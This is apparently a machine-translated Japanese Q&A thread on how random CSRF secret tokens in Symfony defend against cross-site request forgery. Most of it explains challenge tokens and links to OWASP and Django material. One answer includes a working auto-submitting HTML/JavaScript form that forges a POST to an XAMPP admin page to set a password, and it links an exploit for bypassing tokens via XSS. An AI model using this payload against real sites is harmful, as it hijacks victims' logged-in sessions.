4

CSRF 攻撃を防ぐために、ランダムな CSRF シークレットが生成されています。

上記は symfony からのものです: http://www.symfony-project.org/getting-started/1_4/en/04-Project-Setup

最終的にはユーザーが操作するので、いわゆる代理攻撃ですが、その秘密を設定してどう動くのでしょうか？

4

4 に答える 4

1

CSRFまたはXSRFは、Cross SiteRequestForgeryの略です。攻撃者は、被害者がハッカーによって作成されたhtmlまたはjavascriptを実行するときに、HTTPリクエストを「偽造」しているという考え方です。これは、XAMPPに対して作成したCSRFエクスプロイトの例です。このhtml/jsは、既存のセッションに「乗る」POSTリクエストを作成しているという考え方です。CSRFエクスプロイトは、現在ログインしているXAMPP管理者のブラウザで実行する必要があります。

<html>
    <form action='http://127.0.0.1/security/xamppsecurity.php' method='POST' id=1>
        <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
        <input type=hidden name="xamppuser" value=admin >
        <input type=hidden name="xampppasswd" value=password>
        <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
        <input type=submit>
    </form>
</html>
<script>
    document.getElementById(1).submit();
</script>

これを行うには、ハッカーは事前にリクエストについて多くのことを知っている必要があります。最も重要なのは、宛先サーバーとすべての変数です。ハッカーはセッションIDや「basic-auth」ヘッダーを知る必要はありません。これはブラウザによって自動的に提供されます。ランダムに生成されたシークレットを追加した場合、ハッカーがその値を知らない限り、リクエストを偽造することはできません。これは、サーバーに送信するすべてのリクエストにパスワードを設定するようなものです。ハッカーはXSSを使用してこのトークン値を取得できます。これはより複雑な攻撃ですが、XSSを使用してトークンベースのCSRF保護をバイパスするエクスプロイトがあります：http：//www.milw0rm.com/exploits/7922

于 2010-01-29T07:14:18.513 に答える
1

OWASP (open web application security project) には、CSRF に関する非常に優れた説明があります。それを読んで、後で質問を投稿することをお勧めします。

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

CSRF を防ぐ方法のサンプル実装を探している場合は、Django とその記事をご覧ください。 http://docs.djangoproject.com/en/dev/ref/contrib/csrf/

于 2010-01-29T05:08:47.690 に答える
0

Symfony の CSRF シークレットは、ここでよく説明されています: http://www.nacho-martin.com/csrf-tokens-in-symfony

于 2010-09-22T10:39:48.093 に答える
0

cgisecurity の CSRF FAQ を読んでみてください ( http://www.cgisecurity.com/csrf-faq.html )。FAQ を明確にするために質問がある場合は、喜んで明確にします。

EDIT：以前にリンクされたCSRF FAQの引用、ランダムシークレットについて説明するセクション：

自分のアプリケーションを保護するにはどうすればよいですか?

CSRF を防止するための最も一般的な提案は、各リクエストにチャレンジ トークンを追加することです。このチャレンジ トークンをユーザー セッションに関連付ける必要があることを述べることが重要です。そうしないと、攻撃者が有効なトークンを独自にフェッチして、それを攻撃に利用できる可能性があります。ユーザー セッションに結び付けられることに加えて、トークンが有効な期間を制限することが重要です。この方法は複数のドキュメントで文書化されていますが、メーリング リストの投稿で指摘されているように、攻撃者は既存のブラウザーの脆弱性または XSS の欠陥を利用して、このセッション トークンを取得できます。

于 2010-01-29T04:55:10.770 に答える